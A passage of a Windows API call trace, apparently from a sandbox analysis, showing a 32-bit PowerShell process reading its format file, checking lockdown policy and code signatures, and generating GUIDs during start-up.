dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.101] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e108 | out: phkResult=0x427e108*=0x528) returned 0x0 [0095.101] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e124, lpData=0x0, lpcbData=0x427e120*=0x0 | out: lpType=0x427e124*=0x0, lpData=0x0, lpcbData=0x427e120*=0x0) returned 0x2 [0095.101] RegCloseKey (hKey=0x528) returned 0x0 [0095.101] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0095.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e110) returned 1 [0095.101] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0095.101] GetFileType (hFile=0x528) returned 0x1 [0095.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e10c) returned 1 [0095.102] GetFileType (hFile=0x528) returned 0x1 [0095.102] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x0 [0095.102] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.104] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1000 [0095.105] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.105] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x2000 [0095.105] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.105] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x3000 [0095.105] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.106] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x4000 [0095.106] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.106] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x5000 [0095.106] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.107] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x6000 [0095.107] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.107] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x7000 [0095.107] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.107] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x8000 [0095.107] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.108] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x9000 [0095.108] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.108] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xa000 [0095.108] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.108] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xb000 [0095.108] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.109] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xc000 [0095.109] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.109] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xd000 [0095.109] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.109] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xe000 [0095.109] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.110] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0xf000 [0095.110] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.110] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x10000 [0095.110] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.111] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x11000 [0095.111] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.111] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x12000 [0095.111] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.111] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x13000 [0095.111] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.112] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x14000 [0095.112] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.112] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x15000 [0095.112] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.113] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x16000 [0095.113] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.113] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x17000 [0095.113] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.113] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x18000 [0095.113] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.114] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x19000 [0095.114] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.114] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1a000 [0095.114] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x1000, lpOverlapped=0x0) returned 1 [0095.114] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1b000 [0095.114] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0xd58, lpOverlapped=0x0) returned 1 [0095.115] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1bd58 [0095.115] ReadFile (in: hFile=0x528, lpBuffer=0x6e85308, nNumberOfBytesToRead=0x2a8, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85308*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0095.115] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x427e154*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x427e154*=0) returned 0x1bd58 [0095.115] ReadFile (in: hFile=0x528, lpBuffer=0x6e85e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x427e180, lpOverlapped=0x0 | out: lpBuffer=0x6e85e10*, lpNumberOfBytesRead=0x427e180*=0x0, lpOverlapped=0x0) returned 1 [0095.117] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.117] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.117] CoTaskMemFree (pv=0x42c9ac0) [0095.117] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbe8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.117] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0c4) returned 1 [0095.117] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e140 | out: lpFileInformation=0x427e140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0c0) returned 1 [0095.117] WldpGetLockdownPolicy () returned 0x0 [0095.117] GetSystemInfo (in: lpSystemInfo=0x427e16c | out: lpSystemInfo=0x427e16c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.118] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e0f8 | out: phkResult=0x427e0f8*=0x6f0) returned 0x0 [0095.118] RegQueryValueExW (in: hKey=0x6f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e114, lpData=0x0, lpcbData=0x427e110*=0x0 | out: lpType=0x427e114*=0x0, lpData=0x0, lpcbData=0x427e110*=0x0) returned 0x2 [0095.118] RegCloseKey (hKey=0x6f0) returned 0x0 [0095.118] CloseHandle (hObject=0x528) returned 1 [0095.118] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dc64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0095.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0fc) returned 1 [0095.118] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x6ec2430 | out: lpFileInformation=0x6ec2430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x1bd58)) returned 1 [0095.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0f8) returned 1 [0095.118] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dbcc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0095.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e02c) returned 1 [0095.118] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x427e0a8 | out: lpFileInformation=0x427e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x1bd58)) returned 1 [0095.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e028) returned 1 [0095.119] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427db00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0095.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427dff4) returned 1 [0095.119] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x528 [0095.119] GetFileType (hFile=0x528) returned 0x1 [0095.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427dff0) returned 1 [0095.119] GetFileType (hFile=0x528) returned 0x1 [0095.119] WTGetSignatureInfo () returned 0x0 [0095.217] CertDuplicateCertificateContext (pCertContext=0x8c42e60) returned 0x8c42e60 [0095.217] CoTaskMemAlloc (cb=0x10) returned 0x8c08f48 [0095.217] CoTaskMemAlloc (cb=0x30) returned 0x8bf72b8 [0095.217] WinVerifyTrust () returned 0x0 [0095.218] CoTaskMemFree (pv=0x8bf72b8) [0095.218] CoTaskMemFree (pv=0x8c08f48) [0095.218] CertFreeCertificateContext (pCertContext=0x8c42e60) returned 1 [0095.218] CloseHandle (hObject=0x528) returned 1 [0095.238] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.238] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.238] CoTaskMemFree (pv=0x42c9ac0) [0095.238] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.238] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dcd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e138) returned 1 [0095.238] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e1b4 | out: lpFileInformation=0x427e1b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e134) returned 1 [0095.238] WldpGetLockdownPolicy () returned 0x0 [0095.238] GetSystemInfo (in: lpSystemInfo=0x427e1e0 | out: lpSystemInfo=0x427e1e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.238] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e16c | out: phkResult=0x427e16c*=0x528) returned 0x0 [0095.239] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e188, lpData=0x0, lpcbData=0x427e184*=0x0 | out: lpType=0x427e188*=0x0, lpData=0x0, lpcbData=0x427e184*=0x0) returned 0x2 [0095.239] RegCloseKey (hKey=0x528) returned 0x0 [0095.239] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.239] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x18de69b, Data2=0x992b, Data3=0x4f76, Data4=([0]=0x95, [1]=0x68, [2]=0xee, [3]=0xe6, [4]=0xda, [5]=0x4a, [6]=0xd7, [7]=0xb0))) returned 0x0 [0095.239] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x8c8d748d, Data2=0x1764, Data3=0x4ba7, Data4=([0]=0x95, [1]=0x7a, [2]=0x6a, [3]=0x3, [4]=0x69, [5]=0x58, [6]=0x72, [7]=0x4d))) returned 0x0 [0095.239] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xda67d81c, Data2=0x9adf, Data3=0x466e, Data4=([0]=0xb2, [1]=0xf4, [2]=0xf0, [3]=0xd0, [4]=0xe4, [5]=0xa1, [6]=0x46, [7]=0x92))) returned 0x0 [0095.239] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x87e26b4f, Data2=0x9aa8, Data3=0x4444, Data4=([0]=0xa3, [1]=0x51, [2]=0x6, [3]=0x32, [4]=0x95, [5]=0x68, [6]=0x37, [7]=0x6f))) returned 0x0 [0095.239] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xf365ef0e, Data2=0xbf6, Data3=0x4bfc, Data4=([0]=0xa7, [1]=0x15, [2]=0x4, [3]=0xfc, [4]=0x62, [5]=0x84, [6]=0x9e, [7]=0x8))) returned 0x0 [0095.240] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x3299a715, Data2=0x3448, Data3=0x4f87, Data4=([0]=0xad, [1]=0xf9, [2]=0xec, [3]=0x27, [4]=0xb0, [5]=0xfd, [6]=0x73, [7]=0xbe))) returned 0x0 [0095.240] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x36216d9f, Data2=0xc007, Data3=0x490a, Data4=([0]=0x91, [1]=0x26, [2]=0x99, [3]=0xc6, [4]=0xd5, [5]=0xfa, [6]=0x3e, [7]=0x31))) returned 0x0 [0095.240] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x9e33c7e3, Data2=0x8d69, Data3=0x4e17, Data4=([0]=0x8a, [1]=0xe8, [2]=0xcf, [3]=0xdd, [4]=0x59, [5]=0x26, [6]=0xf1, [7]=0xbd))) returned 0x0 [0095.241] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xe3ecde2e, Data2=0x402, Data3=0x4efe, Data4=([0]=0xab, [1]=0x29, [2]=0x72, [3]=0x8a, [4]=0xcd, [5]=0xb5, [6]=0xe4, 